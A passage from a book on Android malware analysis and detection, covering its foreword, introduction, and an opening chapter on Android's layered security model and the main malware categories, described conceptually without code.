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FOREWORD

Running on over three billion devices worldwide, Android operates a signif
icant portion of the Internet of Things and is the most popular operating
system in history. This reach also makes it one of the most attractive targets
for cybercriminals; indeed, as I write this, Android and its devices, stores,
apps, and users face constant attacks from a wide range of actors, including
wellresourced criminal and statesponsored organizations.

This threat profile demands a commensurate defense, and Android’s
antimalware program represents one of the most significant engineering
investments in the history of cybersecurity. In the early days of Android,
many believed the platform’s open source nature would hinder its ability to
provide safe experiences for users. But after many years of hard work by aca
demics, security companies, device and microprocessor manufacturers, the
Linux community, and others, it is now more costly to develop exploits for
Android than for all other consumer mobile operating systems. Android’s
success in both popularity and safety is a testament to the transcendence of
openness over walled gardens.

I am honored to introduce this comprehensive guide to modern
Android malware detection, as it is yet another example of the transparency
of the Android security community. The book covers a wide range of topics,
from the basics of Android security and the types of malware present in the
wild to the latest developments in the field of machine learning for malware
identification and classification.

The authors delve into the technical details of manual program analy
sis and machine learning algorithms, highlighting the importance of using
cuttingedge technology to detect and prevent malware when attackers are
working hard to evade detection. They also describe specific types of



malware, including rooting malware, spyware, banking trojans, ransomware,
and toll fraud. Finally, they conclude with a look at the future of Android
malware and the challenges that lie ahead. With its breadth of coverage, this
book will remain an invaluable resource for security professionals and re
searchers, as well as those who simply want to stay informed about the state
of Android security.

David Kleidermacher,
Vice President of Engineering for

Android, Google Play, and
MadebyGoogle Security &

Privacy, Google
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INTRODUCT ION

Android is the world’s most popular
operating system, touching the lives of

nearly half its population. But its scale and
capabilities regularly attract criminals, fraud

sters, and scammers looking to steal money from users
or otherwise illicitly profit.

This book’s authors have been working in the field of Android security
since 2011, shortly after the first malware sample was found on the plat
form. Three of us—Sebastian, Salvador, and Sai—developed defenses against
Android malware as part of Google’s Android Security team. Separately,
V.S. and his researchers, including Qian and Yanhai, created some of the
first robust machine learning methods for characterizing the behavior of
Android malware.

Over the years, we’ve seen Android users wrestle with ransomware,
phishing, fraud, and many other kinds of harmful applications. We’ve also
seen malware developers become more sophisticated, producing interest
ing families of malicious apps that have been documented by security re
searchers all over the world.

After observing and combating these digital threats for more than a
decade, we decided it was time to record what we knew about the Android
malware we’d seen in the past, the methods of analyzing the malware of the



present, and the use of machine learning to detect malware that may ap
pear in the future. To date, this book is the most comprehensive overview
of Android malware trends. Its aim is to help readers develop the analysis
and detection skills that are so vital in today’s cybersecurity landscape.

As you begin to study the vast array of malware categories in the
Android ecosystem, you’ll soon realize how dynamic they are and how
complex malware detection can be. Most security books don’t touch on
machine learning techniques, but over the last few years machine learning
algorithms have proven effective at accelerating the identification and clas
sification of malware apps, allowing defenders to respond more quickly to
that complexity and at a larger scale. Developing expertise in this type of
AIpowered automation is a natural next step in the evolution of a malware
analyst’s skill set.

Who Should Read This Book
This book is for three kinds of readers. First, it is for those who seek to un
derstand what mobile malware looks like and how to inspect it. Second, it is
for more experienced Android malware analysts looking for a thorough pic
ture of the Android malware ecosystem. We cover numerous real Android
malware specimens, including noteworthy malware families that have never
before been publicly discussed.

Third, this book is for security professionals interested in familiarizing
themselves with the use of machine learning to detect malware. By consid
ering the objectives and functionality of different malware categories, you’ll
learn how to leverage machine learning algorithms to detect new malware
at scale.

What You’ll Find in This Book
This book provides an introduction to the analysis and detection of Android
malware samples using manual and machine learning approaches. We start
with a tour of the Android malware ecosystem, then cover the manual analy
sis of malicious apps. Lastly, we consider techniques for automatically detect
ing malware using machine learning. Although we recommend reading the
chapters in order, you should feel free to skip to any part that you’d like.

In Part I, we begin with an introduction to the Android security model
and the malware that targets the platform. We highlight interesting struc
tural characteristics of numerous malware families, focusing on how they
abused operating system features or how their malicious functionality was
revealed. The chapters in this section are as follows:

Chapter 1: The Basics of Android Security Introduces the Android
operating system’s security model and the malware categories that
Google’s Android Security team uses to organize and track its work.

Chapter 2: Android Malware in the Wild Describes the most popular
and interesting Android malware families we’ve observed since 2008.
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This chapter also introduces readers to historical trends that help in un
derstanding today’s Android malware landscape.

Next, in Part II, we walk through the manual analysis of two real recent
Android malware apps, diving deep into reverse engineering techniques and
common malware behavior. These chapters include:

Chapter 3: Static Analysis Introduces the reader to the analysis of
Android app files by walking through the code belonging to a real speci
men of toll fraud malware. We explain how to use common open source
tools to dissect an app and share best practices for understanding its
components, structure, and code.

Chapter 4: Dynamic Analysis Covers the analysis of currently execut
ing Android apps by analyzing a real specimen of phishing malware. We
also explain how to use open source tools to get a comprehensive pic
ture of the behavior of Android malware at runtime.

Finally, in Part III, we explore the automation of Android malware de
tection using machine learning. You’ll be introduced to popular machine
learning algorithms and learn how to interpret their output when they’re ap
plied to Android malware. Here is an outline of the chapters in this section:

Chapter 5: Machine Learning Fundamentals Explains the approach
used to apply machine learning to Android malware analysis and detec
tion and introduces key machine learning concepts, including classifiers,
features, and model training.

Chapter 6: Machine Learning Features Discusses the identification
of machine learning features using the results of static analysis and dy
namic analysis, then covers the creation of advanced features that are
more likely to identify malware that attempts to evade detection. This
chapter also shows the reader different ways to measure whether an app
should be considered malware or goodware, depending on the output
of the machine learning model.

Chapter 7: Rooting Malware Describes the behavior of a number of
Android rooting malware families before covering how classifiers can
detect applications in this malware category. The chapter also analyzes
the predictive power of certain machine learning features used to de
tect malicious rooting apps. As a case study, it looks at the first rooting
malware found on the platform, DroidDream.

Chapter 8: Spyware Discusses prominent spyware families, examines
how to distinguish spyware from goodware and from other malware
categories, and presents some of the unique features of these apps, in
cluding those related to permissions. This chapter concludes with a
case study of spyware discovered in 2022 that was likely developed by a
nationstate.

Introduction xxv



Chapter 9: Banking Trojans Discusses several Android banking trojan
families, how they operate, and how they can be identified using classi
fiers. The chapter’s case study, Marcher, highlights common character
istics of this malware category, including the abuse of permissions and
the communication that these apps establish with commandandcontrol
servers.

Chapter 10: Ransomware Explains how Android ransomware works,
discusses the differences between ransomware crypters and ransomware
lockers, and analyzes the performance of machine learning classifiers
when tasked with detecting ransomware apps. The chapter’s case study
explores a wellknown ransomware sample known as Simplocker.

Chapter 11: SMS Fraud Covers malware that abuses premium SMS
messages by executing fraudulent operations, then presents classifiers
that can be used to identify SMS fraud apps and which of their features
have high predictive power. The chapter’s case study covers BeeKeeper,
an SMS fraud app that targeted a Russian carrier.

Chapter 12: The Future of Android Malware This last chapter sum
marizes current Android malware trends and describes how these threats
are likely to evolve in the coming years.

Understanding Android malware is no easy feat. Every day, security
analysts and engineers must respond to the actions of malware developers,
who continue to throw curveballs at the Android platform in the hopes that
their malicious apps will go undetected. We must continually adjust to these
new threats to keep Android and its users safe. So, let’s begin!
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PART I
A PRIMER ON ANDROID MALWARE





1
THE BAS ICS OF ANDROID

SECURITY

To understand Android malware, one has
to understand the Android operating sys

tem’s security model. In particular, one must
recognize the malware specimens that operate

within the boundaries of this model and those that try
to break out of it. This chapter introduces the basic
concepts of Android security and malware that make
this possible.

The Android Security Model

Long before the first malware was uploaded to Google Play, the Android
operating system and security teams made several design decisions to help
protect users from malware. For example, they reused the Linux user ac
count system to isolate Android applications from each other, a choice that
made it very hard for applications to maliciously interact with other apps
or steal their data from the filesystem. Any malware that wanted to do so
had to degrade device security using rooting exploits or other privilege
escalation techniques of similar rarity. Likewise, the introduction of the



app permission system proved a big step up from older operating systems,
as it gave users more finegrained control over what sensitive data and func
tionality applications were allowed to access.

When the first malware was found on Google Play, the threat landscape
changed. Android was so popular by that point that malware developers
were making money via abusive Android applications, and those who might
previously have developed malware for other platforms started taking a seri
ous look at Android.

Responding to these new threats, the Android Security team focused
on a defenseindepth approach. Google developed critical pieces of the
Android ecosystem—notably Google Play, the operating system, and the
phone hardware (the Nexus and Pixel devices)—putting it in a strong defen
sive position. As new attacks appeared, the Android Security team was able
to counter them by hardening the Android platform, reforming the rules
of Google Play, and improving the application scanner that finds malicious
functionality in the apps uploaded by Android developers.

Google built an Android security model that gets updated with each
Android version, using a multilayered approach where each layer of de
fense tries to stop an attack. Even if one layer cannot completely stop an
attack, the malware developer will have to find ways to circumvent one or
more additional protection layers, which increases the cost and reduces the
likelihood of abuse. The following sections explain these layers and their
interactions.

Application Isolation
The first layer of the Android security model is application isolation. We men
tioned that, since the very first version of Android, the operating system has
used the Linux user account system to isolate apps and processes from each
other. Each app is assigned a new Linux user ID (UID) without access to the
private data or process memory of other apps.

Over time, Google enhanced this sandboxing model with other tech
nologies. Android 4.3 (Jelly Bean) was the first to use SecurityEnhanced
Linux, more commonly known as SELinux. SELinux is a Linux kernel mod
ule used to configure access control security policies for different parts of
the system. Although notoriously difficult to deploy and rarely enabled by
default in other versions of Linux, it turns out that SELinux is uniquely pow
erful, making its implementation one of the most important Android secu
rity features protecting against privilege escalation malware. Even malware
that uses rooting exploits to gain elevated privileges is bound by its access
controls.

Process isolation was improved over time, too. For example, Android 10
introduced scoped storage. Previously, all apps on an Android device shared
access to the device’s external storage, so a file written by one app could be
read by any other app on the device. If an app wanted to store sensitive in
formation, it was supposed to use the internal storage system, where every
app had its own protected space. Of course, many apps misbehaved and
stored sensitive information in external storage. Spyware could easily access
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this information, and other apps could accidentally read, write, or delete it.
To protect app data, scoped storage introduced access mechanisms similar
to those used for internal storage, and now every app can safely store sensi
tive data in external storage without risking data theft or manipulation by
other apps.

Android 11 introduced additional features to isolate apps from each
other. Prior to Android 11, an app on a device could find information
about other installed apps. This allowed the app to make assumptions about
a user’s personal life. Android 11 severely restricted this ability, known as
package visibility, in the hopes that apps would no longer be able to identify
potentially sensitive details about the user.

Attack Surface Reduction
Application isolation doesn’t work against attacks that can break out of the
Linux user space or bypass SELinux. The second layer of the Android secu
rity model is attack surface reduction, or the practice of minimizing a potential
attacker’s access to code, APIs, services, or other parts of an app.

There are many ways to reduce one’s attack surface. The most obvious
is to remove unnecessary code, system modules, open ports, or APIs ex
posed to hackers; it’s easier to secure a system that has a small number of
exposed components than one that has many. Similarly, reducing code com
plexity and size is a good secure software development practice. Complexity
makes code hard to understand, difficult to secure, and easy to exploit, as
the number of edge cases that a programmer has to consider becomes un
wieldy. Less code means fewer opportunities for programming errors and
fewer potential attack points.

If reducing complexity is not possible, making code inaccessible to ex
ploits is nearly as good a strategy and is an approach the Android team has
taken many times over the years. For example, in response to a series of vul
nerabilities collectively known as Stagefright, the Android Security team
completely refactored the vulnerable mediaserver component in Android 7.0
(Nougat) to minimize the number of exposed APIs. Additionally, risky code
was moved into stronger custom sandboxes, and functionality that was not
needed, like execmem, a dangerous SELinux permission to mark memory
pages as executable, was removed. The 2016 Android Security blog post
“Hardening the Media Stack” provides more details.

Another attack surface reduction technology that the Android Secu
rity team added was seccomp, introduced in Android 8.0 (Oreo). Short for
secure computing mode, seccomp is a Linux technology that acts as a firewall
between userlevel processes and the kernel. Using filter rules written in
Berkeley Packet Filter (BPF), it can block attempts by a userlevel process to
execute certain system calls and can also terminate userlevel processes. Hav
ing seccomp enabled in Android removes system calls that would otherwise
be available to apps during a privilege escalation attempt.

Android 9.0 (Pie) significantly reduced the potential attack surface
for malicious apps yet again by disallowing apps from accessing internal
Android API methods through reflection or native code. Going forward,
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only methods belonging to the public Android API remained accessible
to apps. Besides improving app compatibility across Android versions by
forcing apps to go through official APIs, this change was also important for
security. Before this limitation was introduced, Android app developers
were occasionally able to find ways to invoke internal APIs through private
methods that bypassed the permission system and other restrictions.

Attack surface reduction can also take a completely different form. For
example, according to statistics compiled by the Android Security team, the
most exploited Android vulnerabilities to date have relied on memory cor
ruption. Recent versions of Android have started shipping components
written in Rust, a memorysafe programming language that will hopefully
reduce the number of memory corruption bugs.

Exploit Mitigation
Android is a complex, generalpurpose operating system with millions of
lines of code. No matter how much of it is deleted, made inaccessible, or
sandboxed, there will always be opportunities for vulnerabilities to appear.
Thus, many security teams operate under the assumption that every attacker
will get lucky once; getting lucky twice, however, is less likely. That’s a sim
plified justification for Android’s many exploit mitigations, which attempt
to make it harder (or impossible) for an attack to successfully compromise
a system. The official Android Security website maintains a detailed list of
the security enhancements introduced since Android 1.5 at https://source
.android.com/security/enhancements.

Early versions of Android focused on adding exploit mitigation tech
niques as a way to catch up with existing defenses in other operating sys
tems. Before Android 4.0 (Ice Cream Sandwich), they added defenses like
address space layout randomization (ASLR), hardwarebased No eXecute
(NX), and hardening techniques for memory allocation and deallocation.

The addition of these mitigation techniques meant that writing tradi
tional exploit shellcode intended to run in a controlled part of memory be
came very difficult. Android’s memory layout became unpredictable, and
finding executable sections of memory became rarer. To overcome that,
attackers started chaining exploits that bypassed these defenses one at a
time. On modern Android, such exploit chains are complex and often take
months to develop.

Device Integrity
Device integrity tries to ensure that a device is in its original intended state.
In particular, it aims to guarantee that attackers have not planted backdoors
or other harmful code in critical parts of the device, like its operating sys
tem. After a hacker bypasses all the defenses in the previous layers, they
would often like to gain a permanent foothold in the system. Over the
years, Android has made this harder and harder.
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Android 4.4 (KitKat) added a technology called Verified Boot to stop
malicious actors from modifying the bootloader. At its core, Verified Boot
makes sure that each component of the device boot process has its integrity
verified before it is executed. If any part of the boot process fails to verify,
users are warned that their device has been manipulated and its security
can’t be assured.

Fulldisk encryption was enabled as an option in Android 5.0 (Lollipop)
and became mandatory in Android 6.0 (Marshmallow). Android 7.0 (Nougat)
additionally introduced filebased encryption, an improvement over fulldisk
encryption that allows different files on disk to be encrypted with different
keys. Filebased encryption became a requirement in Android 10. While not
defenses against exploits running on a device, fulldisk encryption and file
based encryption do help protect against attackers that have physical access
to the device and try to read data from or manipulate data on the disk.

Permissions
The fifth layer of the Android security model is permissions, Android’s user
facing consent model for controlling access to sensitive system resources and
data. For every sensitive operation, an app has to ask the user for consent
before the Android operating system allows the operation to proceed. For
example, if an app wants to read information from the contact list or send a
text, it needs to get the user’s permission first.

In early versions of Android, all permissions an app wanted to use had
to be granted before installing the app. Users who didn’t want to grant all
the requested permissions were unable to install the app, which was incon
venient and a common source of abuse and user complaints. Starting in
Android 6.0 (Marshmallow), Android implemented a runtime permission
system, where apps asked for permissions while they were running. This
change improved app control, as users could now grant or deny individual,
more granular permissions for sensitive operations. For example, if a user
was comfortable with an app sending texts but not with it accessing their
contact list, they could grant the text permission while denying the contact
list permission.

The runtime model also allowed apps to ask for permissions only when
needed. If a user never tried to use an app for a sensitive operation, a well
written app would never ask for the related permissions. That improved user
trust in welldeveloped apps.

Some permissions available to Android apps are particularly sensitive
and cannot be granted through the default permission dialogs. For exam
ple, if an app wants to install other apps, the user must first go to the device
settings and grant the app this permission. Likewise, if an app wants to use
the Accessibility API, an API that changes parts of Android’s security model
to better support users with disabilities, the user has to navigate through a
series of warning dialogs first.
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Security Updates
The Android security model includes regular security updates. The faster
these updates are shipped to devices and installed by users, the less time
attackers have to exploit any discovered vulnerabilities.

Early versions of Android were tedious to update, no matter how small
a security update was. Updating processes and infrastructure were not yet
mature, causing long delays between when the code was patched and when
fixes were actually deployed to devices. Early updates were also not user
friendly. During the update process, users were often unable to use their
phones for 10 minutes or more, lowering their willingness to install security
updates.

Over time, the Android operating system has made system updates
much more pleasant for both users and device manufacturers. Updates now
happen in the background during regular device use, and users have to re
boot their devices only to complete the process. The architecture of the up
date process has also been refined. Many critical components that used to
be updated through the system update process have been rewritten as stand
alone apps that can be updated through the normal Google Play app update
process. One of the most important examples is the default WebView com
ponent used to parse and render HTML content. The code complexity of
the parsing and rendering process makes WebView a prime attack target for
hackers. Nowadays, if a WebView vulnerability is reported to the Android
Security team or if an exploit is discovered in the wild, updating the Web
View component can happen in days rather than months.

This change in architecture to allow independent updates of core
components also made its way to the core Android operating system. In
Android 8.0 (Oreo), Google announced Project Treble, which introduced
an abstractionlayer mechanism to separate the operating system from modi
fications and extensions added by device manufacturers. The goal of Treble
was to deliver updates for the core operating system faster by removing de
vice manufacturers from the update process: manufacturers would be re
sponsible for updating their additions and modifications separately, at their
own pace.

Android 9.0 (Pie) and Android 10 further helped original equipment
manufacturers update more efficiently through Generic System Images,
or GSIs, which sped up the testing of new Android versions, and Project
Mainline, which allowed manufacturers to distribute system updates through
Google Play. These changes combined made Android 10 the fastest de
ployed Android version in history, with adoption rates about twice that of
Android 9.0 (Pie) and four times that of Android 8.0 (Oreo).

Add-on Security and Safety Services
The seventh layer of the Android security model involves the addon security
and safety services that run on Google’s infrastructure. Depending on the
service, these are available to either app developers or users.
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The Android malware scanner that powers Google Play Protect, Google’s
ondevice malware detection and warning system, is one of these services.
This scanner is continuously fed with app signals and decisions produced
by humans and machines to proactively identify and block applicationlevel
threats on the device and on Google Play. Users can see the results of
malware scans on their devices through the Google Play app or through the
device’s security settings.

Services for developers take the form of APIs like Safe Browsing and
SafetyNet. The Safe Browsing API protects users from malicious websites
in Chrome, Firefox, and other browsers that have an integration with Safe
Browsing technology. The SafetyNet API allows any application to check
many integrity aspects of the device before executing sensitive operations
like collecting user credentials or payment information. As these services
depend on access to Google’s backend infrastructure, they are only available
on Androidcertified devices that ship with Google Play and the Google Play
Services module.

Collaboration Across Google
In addition to improving the security and privacy posture of the Android
operating system over the years, the Android Security team has worked with
other teams at Google to make the platform safer to use.

For example, Android Security has collaborated with the team respon
sible for rolling out new Google Play policies, many of which aim to make
it harder for abusive apps to get into Google Play. In May 2017, the team
clarified that an app must not download additional code from sources other
than Google Play, as this technique continues to be a key malware tactic to
bypass the Google Play malware scanners.

To give a few other examples, in August 2019 Google Play banned
network proxying behavior for nonproxy apps in response to proxy tools
selling access to user device resources and networks without user consent.
In April 2020, Google Play took a stronger stance on stalkerware by man
dating minimum steps that surveillance apps must take to limit their abuse
potential. The Google Play Policy team maintains a website at https://support
.google.com/googleplay/androiddeveloper/answer/9934569 that lists changes to
the Google Play policy since 2016.

Sideloaded and Preloaded Malware Protection
Even as the Android Security team worked to remove malware from Google
Play, it realized that application sideloading, or the installation of applications
from sources other than Google Play, was much more dangerous. According
to the annually published Android Security Year in Review reports, malware is
approximately 7 to 15 times more common outside of Google Play, so focus
ing on Google Play is not enough to protect the whole Android ecosystem.

To defend against sideloaded malware, the Android Security team de
veloped and launched the SafetyNet malware protection system in 2012.
This technology, which we mentioned previously, eventually turned into
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Google Play Protect. SafetyNet ran silently in the background on all Android
devices that had the Google Play app. The only interaction users had with
SafetyNet was when it detected malware on the device. Because most
Android devices never have any malware installed, most users never inter
acted with SafetyNet.

Next, the Android Security team built systems to secure preloaded apps
in response to the discovery of malware that had been preloaded on devices
by various manufacturers. In particular, the team launched Build Test Suite
(BTS) in 2018. BTS scans the system image of all Androidbranded devices
that come with the usual bundle of Google apps, like Gmail, Google Play,
and Google Maps. This scan is done for all manufacturers, regardless of
how popular they are. On average, a new device ships with about 400 pre
loaded apps, and many companies are involved in building, maintaining,
and distributing them to the manufacturers. With such a model, and with
out controls, the users of some new Android devices might be intentionally
or unintentionally exposed to problematic apps.

The Android Package
Despite the many security enhancements Google has implemented over the
years, malware continues to evolve, affecting many users around the globe.
Today, there are millions of Android applications available for download
from Google Play, websites, and other app stores. They all use a common
file format, namely the Android Package (APK), and most are written in Java.

An APK is essentially a ZIPcompressed archive file that stores the app’s
code. Because application class files cannot be executed directly by the
Android device’s central processing unit (CPU), they need to be compiled
into Androidspecific bytecode for execution in the Android Runtime (ART)
virtual machine or its predecessor, Dalvik. These virtual machines exist for
different hardware architectures, enabling applications to be run on a wide
range of devices, including phones, tablets, laptops, watches, home appli
ances, TVs, car consoles, and more. The APK contains .dex files for ART or
Dalvik, as well as .so libraries with code that is compiled to native assembly
for specific hardware. It also includes metadata describing the application in
a file called AndroidManifest.xml and the app’s electronic certificate, as well
as other resources, such as XML code or .png images.

Thousands of developers, from individuals to large corporations (in
cluding Google), create new APKs daily to update apps with new features,
patches, and services. Unfortunately, not all developers play by the rules.
Some build applications that can be harmful and abuse Android’s rich API,
system resources, permissions, and unpatched vulnerabilities to commit
fraud, get access to user data, or steal user credentials.

Categories of Android Malware
The Android Security team at Google has tracked many malware categories
over the years. An application that exhibits the behavior of at least one of
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the following categories is considered malware, regardless of whether the
developer meant to include harmful code in the app, and will be flagged as
such by Android Security team members and the malware detection plat
form. It is important to mention that an application can in practice present
multiple harmful or malicious behaviors and therefore be classified in more
than one category.

Many malware categories share common characteristics. We can say
that, in general, malware will often try to (1) avoid detection by hiding its
malicious functionality from scanners and security analysts, (2) remain in
stalled and avoid removal by the user or by security software, and (3) make
money directly or indirectly, for example by collecting and selling user data,
installing other apps, artificially generating clicks on ads, and abusing sys
tems or networks reachable from the device.

The following sections describe malware categories that have an impact
on the Android ecosystem and its users.

Denial of Service
Denial of service (DoS) refers to a compromise of the availability of a device,
system, or service. A DoS attack can be launched, for example, by exploiting
a system integrity issue, like a stack or heap memory corruption bug, that
makes the system crash or by overwhelming the system with a large num
ber of requests than it has the resources to handle. In an attempt to process
the requests, it might shut down or at least become unresponsive to new re
quests for some time.

The consequences of a DoS attack can be severe. For example, in the
case of systems that receive online orders or payments, any downtime might
directly affect the business’s bottom line. Recovery from a DoS attack might
also be costly, as it could require system upgrades, patching, new protection
features and tools, additional capacity, and so on. For critical infrastructure
like hospitals, the food supply chain, and utilities, a DoS attack might not
only cause economic damage but also largescale public safety issues.

When it comes to Android, the primary DoS concern is the possibility
that a large number of devices could become an abuse vehicle for targets
selected by an attacker. Some DoS attacks are carried out without a user’s
knowledge; in many cases, the user’s device is added to a botnet, or a set of
devices under the control of a particular hacker, whose goal is to execute a
distributed denialofservice (DDoS) attack. In such an attack, a large number of
devices that have the same malicious app installed might each send a high
volume of HTTP requests over the network to a target web server. The vol
ume of traffic is so high that the server is ultimately unable to process the
excessive load, which ends up flooding the intake queue and other internal
data structures. As a result, the server starts dropping or rejecting new re
quests, including legitimate ones, which practically takes it offline.

DDoS attacks can take various forms. In some cases, the DDoS attack
is executed by code that comes with the app at install time. In other cases,
the code containing the DDoS logic is dynamically fetched from a command
andcontrol server at execution time, along with data such as the target IP
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address, start date and time, and attack duration. The Android Security
team has also encountered applications installed on many devices that use
WebViews to continuously fetch and load the same resource over and over
again, such as image files from a web server, resulting in rapid performance
degradation and incapacity to respond. In other cases, a malicious app sup
ports a variety of abuse functions that it can perform upon request by a
remote commandandcontrol server. The server sends specific execution
parameters to all devices that have the app installed.

Such attacks from mobile botnets have been very rare so far, and
security companies have publicly documented just a few of them. However,
as mobile connections across the world become more stable and power
ful, we expect this to change. Additionally, unintentional DDoS attacks are
underreported. These happen when developers hardcode timed connec
tions to a web server. When an app with a timed connection becomes pop
ular, each device with the app may connect to the web server at the same
time. A smaller web server suddenly facing a million requests at midnight
will easily run into trouble. About half of the DDoS cases identified in the
past few years involved a mediation by the Android Security team between
clumsy app developers and unhappy web server owners, who were unable
to resolve the overwhelming number of connections suddenly coming from
Android devices.

Backdoors
A backdoor app opens an unexpected communication channel to a
commandandcontrol server, which instructs the application to execute
unwanted, remotecontrolled operations on a device. Such operations may
include behavior that would otherwise place the app into one of the other
malware categories (for example, spyware, phishing, or DoS).

Backdoor apps perform a broad range of operations, including:

• Installing apps downloaded from an attackercontrolled server
using elevated system application privileges, such as those granted
to preinstalled apps

• Rooting the device to be able to write freely to the filesystem

• Harvesting user information from the device, such as contact lists,
device location data, text messages, the user’s phone number and
call history, or package names of installed apps

• Sending text messages to premium SMS numbers

• Capturing sensitive data, including credentials, and asking the user
to fill out a web form that sends the data to a fraudster

• Fetching and displaying ads

The communication that backdoor applications establish with
commandandcontrol servers is often hidden, indirect, or protected
with obfuscation or encryption methods. For example, some malware
families use common encryption algorithms like AES and 3DES for
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encrypting data or code, Base64 or XOR for encoding, and code compres
sion for obfuscation. They might evade detection through TCP port hop
ping and the use of covert channels with platforms like IRC chats, Firebase,
and X (formerly Twitter). If the user blocks the communication channel be
tween the commandandcontrol server and the app, the infected device can
no longer be managed, so many malware authors make an effort to protect it
as much as possible.

Some backdoor applications have been known to aggressively try to
achieve persistence on the device so that users or malware scanners cannot
easily disable them. One approach is to rely on preinstalled applications that
have backdoor logic in them. A more common approach, though, is to use
the system privileges of a relatively simple preinstalled application to install a
backdoor app later on and to reinstall the app if it detects that the backdoor
has been removed. Other techniques for protecting the presence of malware
on the device include hiding the app’s icon from the main screen, creating a
shortcut to substitute the app’s icon, disabling antivirus software, and mov
ing the application to a readonly location (such as /system/app).

Rooting
In Android, a rooting app is an unprivileged application that exploits vul
nerabilities in the Android operating system or manufacturerspecific de
vice components to gain code execution and administratorlevel privileges,
or status as root: the most privileged user on the system, identified by user
identifier (UID) 0. Because Android employs a number of controls to isolate
application and operating system resources, including Linux filesystem per
missions, process execution under separate UIDs, and SELinux access con
trol policies, an unprivileged application that wishes to execute privileged
operations must find a security hole to bypass those controls.

Rooting applications usually rely on known Android vulnerabilities that
have been publicly disclosed and assigned a Common Vulnerabilities and
Exposures (CVE) ID. When left unpatched on the device, they may enable
privilege escalation to root. The case of apps that exploit new, previously
unknown vulnerabilities (that is, zeroday vulnerabilities), however, has be
come increasingly rare. Nowadays, they are nearly exclusively the domain of
the statesponsored actors behind a number of socalled advanced persistent
threats (APTs).

These vulnerabilities are often memory corruption issues in Linux ker
nel components and device drivers that serve as interfaces between system
services and peripherals and unprivileged applications. Once these com
ponents are compromised—for instance, through stack corruption or code
injection—the attacker may be able to execute their code in the context of
these privileged processes. When the malicious app gains root privileges,
it may execute additional operations to achieve persistence, read sensitive
data, or download and install other apps. For instance, the app may read
user data from a different application’s directory; make system configura
tion changes, such as enabling app installation from thirdparty sources or
disabling Google Play Protect; read authentication tokens to gain access to
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the user’s account; or inject malicious code into system runtime libraries to
enable them to keep executing even after a reboot.

Gaining root privileges via a malware app on the device does not
automatically mean gaining full access to system resources. In some cases,
depending on the Android operating system version and the device’s
SELinux configuration, even apps running as root lack access to some of
these postrooting techniques. Even so, because the configuration of each
device differs and may change over time, some rooting apps still succeed.

Some rooting malware comes with a battery of exploits that are selec
tively executed based on certain parameters, such as the Android version
running on the compromised device and the presence of certain device
drivers. In other cases, the application may execute all exploits sequentially,
one at a time, until one of them succeeds. Also, as with other malware fam
ilies, the application can try to dynamically load malicious code at a later
stage. For example, it is quite common for a rooting app to collect finger
printing information about the device on which it is running and send it to
a remote server, which responds with a devicespecific exploit module. This
keeps the rooting app adaptable to new device types. At the same time, the
exploit developer does not have to show their hand by giving away all the
exploits in their library.

It is important to note that there is a difference between nonmalicious
and malicious rooting apps. Nonmalicious rooting apps explicitly advertise
themselves as tools for rooting the device, and they do not execute other
harmful actions in the background. Malicious rooting, on the other hand,
occurs when the application does not disclose its purpose and executes root
ing attempts without user consent. In both cases, the Android Security team
will flag these apps as malware due to their impact on the security of the sys
tem. However, even though the execution of a nonmalicious rooting app
may leave the system in a vulnerable state, users can still choose to install the
app and ignore any warnings from Google Play Protect or other malware
scanners. The Android ecosystem gives the user that flexibility.

Trojans
Trojan apps appear to be benign (for example, they may impersonate a
popular app) but contain hidden functionality that performs undesirable
actions. These apps have an innocuous component used to gain user trust
by giving them some useful features. In addition to this benign component,
however, they include malicious logic that is invisible to the user.

One very common technique that the creators of trojans and other mal
ware have used to evade detection is to first publish a clean APK that passes
all Google Play checks to reach user devices. Then, some days or weeks later,
they create and publish a new version of the APK, this time including mal
ware functionality that the user will install as part of an app update. The
advantage of this technique is that it allows a malicious app to build an in
stallation base without fearing removal from Google Play or user devices.
If the harmful update successfully clears Google Play scanning, potentially
thousands of devices will install the new functionality.
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Malicious apps, including trojans, have also abused a feature available
in Android that allows Java code to call nonJava code compiled for the de
vice’s hardware. This Java Native Interface (JNI) lets an app load libraries
usually stored in .so files, which are bundled inside the APK and may in
clude malicious code. If a malware scanner inspects only Java bytecode or
decompiled Java code, it may be blind to the malicious logic present in these
hardwarespecific libraries. In fact, we have seen malware samples that obvi
ously use native code for no particular reason beyond hiding from malware
scanners. For example, some malware is written exclusively in Java except
for a minimal decryption feature written in native code, or even just a small
native code function that does nothing but return the encryption key used
by Java code. Static analysis engines that do not support crossarchitecture
control and data flow analysis will be stumped by such simple techniques.

Trojan apps can perform a wide range of hidden operations. Some
banking trojans, for example, target mobile banking users by imperson
ating popular apps that offer money transfers, check deposits, and other
account services. If the user is tricked into downloading the fake app, they
may end up giving fraudsters their account credentials. Other applications
may wait for users to execute a legitimate banking app, then try to intercept
usernames and passwords by using overlays on top of the legitimate app to
display input forms that capture the user data. During authentication, the
banking app might send a onetime password (OTP) to the user’s device; a
trojan app might try to read those text messages.

Other trojan families manipulate online user reviews, fetching fake re
view text from a commandandcontrol server and then publishing it on a
variety of platforms to artificially inflate ratings. This type of abuse also in
volves the creation of large numbers of fake user accounts to give the im
pression that real humans posted the ratings.

Over the last few years, some proxy network apps have been flagged for
malware behavior. These proxy services allow paying customers to anony
mously access online resources that would otherwise be protected by fire
walls and IP address restrictions. For example, they might allow a user in
country A to access a resource in country B. The problem with these apps is
that they often fail to tell the user that their device will become an exit node
on a proxy network or that their system’s resources will transport traffic (po
tentially connected to illegal activities) on behalf of others.

Yet another type of trojan that appeared some years ago is cryptomin
ing malware. These apps infect a large number of devices and use system
resources, however limited they might be, to mine cryptocurrency in the
background. In many cases, the mining occurs without any disclosure to the
user, abusing the device’s battery life and processing power without their
consent. In cases in which the user is actually aware of the mining, the finan
cial benefit they may get is very limited.

Some trojan apps allow the attacker to manage the target device re
motely. These share some characteristics with backdoor apps and are com
monly referred to as remote access trojans (RATs). RAT malware hides its

The Basics of Android Security 15



purpose by pretending to be benign and often uses keyloggers, rooting, and
other techniques to install apps, execute commands, and steal user data.

Spyware
The goal of spyware is to find, collect, and transmit personal data without the
consent of the user. This data can be sold to a third party or used to under
stand the user’s behavior, perhaps to offer them applications in which they
might be interested. In the most severe spyware cases, the application may
effectively spy on the user by accessing their physical location (whether by
reading GPS data or through other means), photos, browsing history, search
history, list of installed applications, text messages, and call history. Some
spyware will go as far as activating the camera or microphone in an attempt
to identify the user, observe their actions, or listen to their conversations.

Some spyware families target social media accounts and related appli
cation data stored on the device. If the data managed by an app is not en
crypted at the application level (meaning the filesystem may be encrypted,
